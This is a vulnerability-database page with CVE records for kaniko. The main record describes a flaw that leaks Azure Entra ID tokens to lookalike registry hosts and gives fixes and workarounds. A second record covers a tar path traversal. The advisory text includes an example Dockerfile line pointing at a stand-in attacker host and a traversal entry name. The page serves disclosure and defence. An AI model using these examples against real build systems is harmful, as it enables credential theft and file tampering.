Vulnerability-Lookup

Search criteria

Vendor

Product

Assigner (CNA or root)

Sources

Sort by

Order

CVSS min

CVSS max

Apply ordering (override relevance)

CVE-2026-105769 (GCVE-0-2026-105769)

Vulnerability from cvelistv5 – Published: 2026-11-02 16:49 – Updated: 2026-11-02 18:27

Title

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Severity

9.3 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-11-02 17:11 UTC

CWE

CWE-346 - Origin Validation Error
CWE-522 - Insufficiently Protected Credentials

Assigner

chainguard CNA

References

5 references

URL	Tags
https://github.com/chainguard-forks/kaniko/securi…	vendor-advisory
https://github.com/chainguard-forks/kaniko/pull/495	patch
https://github.com/chainguard-forks/kaniko/releas…	release-notes
https://github.com/chrismellard/docker-credential…	issue-tracking
https://pkg.go.dev/vuln/GO-2026-6225	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
chainguard	kaniko	Affected: 0 , < 1.25.20 (semver)

Date Public

2026-11-02 16:32

Credits

Martin Zihlmann (mzihlmann) of osscontainertools 8none1 sergiodj

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-105769",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-11-02T17:11:54.176517Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-11-02T17:12:09.068Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "github.com/chainguard-dev/kaniko",
          "product": "kaniko",
          "programFiles": [
            "third_party/docker-credential-acr-env"
          ],
          "repo": "https://github.com/chainguard-forks/kaniko",
          "vendor": "chainguard",
          "versions": [
            {
              "lessThan": "1.25.20",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Martin Zihlmann (mzihlmann) of osscontainertools"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "8none1"
        },
        {
          "lang": "en",
          "type": "remediation reviewer",
          "value": "sergiodj"
        }
      ],
      "datePublic": "2026-11-02T16:32:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper \u003ccode\u003egithub.com/chrismellard/docker-credential-acr-env\u003c/code\u003e, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing \u003ccode\u003e.azurecr.io\u003c/code\u003e, \u003ccode\u003e.azurecr.cn\u003c/code\u003e, \u003ccode\u003e.azurecr.de\u003c/code\u003e or \u003ccode\u003e.azurecr.us\u003c/code\u003e is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as \u003ccode\u003eFROM x.azurecr.io.attacker.com/img\u003c/code\u003e or \u003ccode\u003eCOPY --from=\u0026lt;image\u0026gt;\u003c/code\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to \u003ccode\u003ehttps://\u0026lt;host\u0026gt;/oauth2/exchange\u003c/code\u003e. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No \u003ccode\u003eRUN\u003c/code\u003e instruction or push is required. This issue is fixed in 1.25.20."
            }
          ],
          "value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=\u003cimage\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://\u003chost\u003e/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-522",
              "description": "CWE-522: Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T18:27:36.537Z",
        "orgId": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
        "shortName": "chainguard"
      },
      "references": [
        {
          "name": "GHSA-5q7h-w9jf-cx97",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/chainguard-forks/kaniko/pull/495"
        },
        {
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://github.com/chrismellard/docker-credential-acr-env/issues/21"
        },
        {
          "name": "GO-2026-6225",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://pkg.go.dev/vuln/GO-2026-6225"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eUpgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.\u003c/p\u003e"
            }
          ],
          "value": "Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us."
        }
      ],
      "source": {
        "advisory": "GHSA-5q7h-w9jf-cx97",
        "discovery": "EXTERNAL"
      },
      "title": "kaniko can send the build\u0027s Azure (Entra ID) access token to lookalike ACR registry hosts",
      "workarounds": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eDo not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko\u0027s built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \u0026quot;credsStore\u0026quot;: \u0026quot;acr-env\u0026quot;, replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.\u003c/p\u003e"
            }
          ],
          "value": "Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko\u0027s built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \"credsStore\": \"acr-env\", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager."
        }
      ],
      "x_generator": {
        "engine": "Vulnogram 1.0.5"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
    "assignerShortName": "chainguard",
    "cveId": "CVE-2026-105769",
    "datePublished": "2026-11-02T16:49:24.557Z",
    "dateReserved": "2026-10-05T19:21:04.930Z",
    "dateUpdated": "2026-11-02T18:27:36.537Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-28406 (GCVE-0-2026-28406)

Vulnerability from cvelistv5 – Published: 2026-02-27 21:20 – Updated: 2026-07-15 01:11

Title

kaniko has tar archive path traversal in build context extraction allows writing files outside destination directory

Summary

kaniko is a tool to build container images from a Dockerfile, inside a container or Kubernetes cluster. Starting in version 1.25.4 and prior to version 1.25.10, kaniko unpacks build context archives using `filepath.Join(dest, cleanedName)` without enforcing that the final path stays within `dest`. A tar entry like `../outside.txt` escapes the extraction root and writes files outside the destination directory. In environments with registry authentication, this can be chained with docker credential helpers to achieve code execution within the executor process. Version 1.25.10 uses securejoin for path resolution in tar extraction.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-02 22:00 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M CNA

References

6 references

URL	Tags
https://github.com/chainguard-forks/kaniko/securi…	x_refsource_CONFIRM
https://github.com/chainguard-forks/kaniko/pull/326	x_refsource_MISC
https://github.com/chainguard-forks/kaniko/commit…	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-28406	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2443462	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex